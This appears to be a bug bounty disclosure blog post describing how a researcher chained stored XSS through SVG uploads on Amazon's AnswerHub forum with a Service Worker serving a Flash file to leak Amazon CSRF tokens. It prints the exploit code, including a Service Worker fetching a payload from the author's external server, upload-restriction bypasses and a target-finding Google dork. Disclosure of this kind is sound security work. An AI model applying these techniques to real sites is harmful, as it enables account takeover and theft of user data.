Leaking Amazon.com CSRF Tokens Using Service Worker API
Introduction
Hello all, I have some free time today, so I will tell you about my finding at Amazon that could have led to a complete account takeover.
Background
I was working on a private bug bounty program when I found something interesting. The platform used AnswerHub, a third-party service I had encountered before. Since I had already discovered vulnerabilities in AnswerHub, I knew it was worth revisiting. I started by testing its upload functionality, and within a short time, I found a stored XSS vulnerability via file upload. Although the domain was out-of-scope, I demonstrated how it could affect an in-scope domain, which earned me a $1250 bounty.
While working on this, I noticed that Amazon also used AnswerHub. Since Amazon’s crossdomain.xml
was very permissive, I considered a new attack vector: if I could upload an SWF file on an Amazon subdomain, I might be able to steal data from the main Amazon website. However, Amazon did not allow Flash content to be uploaded.
This led me to an alternative method—leveraging Service Workers to steal CSRF tokens from Amazon.com.
Technical Details
Most of you are probably here for the technical part rather than the backstory, so let’s get into the exploit step-by-step.
Finding the Target
I searched for big companies using AnswerHub using this Google Dork:
inurl:/questions/ask.html inurl:https://
Amazon appeared in the results, and their permissive crossdomain.xml
caught my attention.
Failed SWF Upload
My target was gamedev.amazon.com. I attempted to upload an SWF file but was unsuccessful. However, I already had stored XSS using SVG file uploads. This gave me a new idea—using a Service Worker to proxy traffic and hijack requests.
Understanding the Service Worker API
A Service Worker is a script that runs in the background, separate from a web page. It can:
- Intercept and modify network requests
- Handle caching and offline access
- Work independently of user interactions
For more details, check the MDN documentation: Service Worker API.
Exploit Development
Step 1: ActionScript for Extracting CSRF Tokens
I created an ActionScript file to request a specific Amazon page and extract the CSRF token.
import flash.external.*;
import flash.net.*;
(function () {
var loader = new URLLoader(new URLRequest("https://www.amazon.com/Hacking-Art-Exploitation-Jon-Erickson/dp/1593271441/"));
loader.addEventListener("complete", loaderCompleted);
function loaderCompleted(event) {
ExternalInterface.call("alert", event.target.data.slice(189270,189335));
}
})();
I hosted this on my server (ahussam.me
) as myexp.as
and used Flex SDK to generate the SWF file.
Step 2: JavaScript Service Worker
The Service Worker proxies requests and returns the SWF file when triggered.
var url = "https://ahussam.me/myexp.swf";
onfetch = (e) => {
e.respondWith(fetch(url));
}
This installed myexp.swf
on a specific path, enabling it to steal CSRF tokens from amazon.com
.
Step 3: Uploading the Exploit
To bypass file type restrictions, I:
- Renamed the JavaScript Service Worker as
sw.txt
- Changed the Content-Type
- Uploaded it to Amazon’s AnswerHub
After upload, the file was renamed to 4837-sw.txt
.
Step 4: Registering the Service Worker
I used an SVG file with JavaScript to register the Service Worker:
if ('serviceWorker' in navigator) {
navigator.serviceWorker.register('4837-sw.txt').then(_=>location=1337);
}
I bypassed extension restrictions using content-type modification, and the HTTP request looked like this:
Step 5: Triggering the Exploit
Once installed, the Service Worker intercepted requests and served the SWF payload, which successfully extracted Amazon’s CSRF token.
Here’s the PoC URL:
https://gamedev.amazon.com/forums/storage/attachments/4937-svg.txt
After debugging (the Service Worker only works on HTTPS), the attack worked:
Reporting to Amazon
I reported the issue to Amazon’s security team, but they initially struggled to reproduce it due to the complexity of the exploit.
Then, they deleted my PoC and blocked me!
I created a PoC video, and after multiple follow-ups, they finally reproduced the vulnerability. However, after months of waiting, they never replied. I later discovered that the issue had been silently patched without any acknowledgment.
Conclusion
This attack could have led to:
- Full account takeover (modifying user phone numbers)
- CSRF attacks
- Leaking sensitive user data
- OAuth token hijacking
- Address disclosure
Lessons Learned:
- Service Workers can be a serious attack vector if misused.
- Permissive
crossdomain.xml
files can lead to data leaks. - Bug bounty programs don’t always reward impactful reports.
Final Thoughts
I hope you found this write-up insightful. If you have any thoughts or questions, feel free to reach out!
Also, this method was used in the Cure53 XSSmas challenge, so if you’re interested, check out the solution write-up.
Thanks for reading!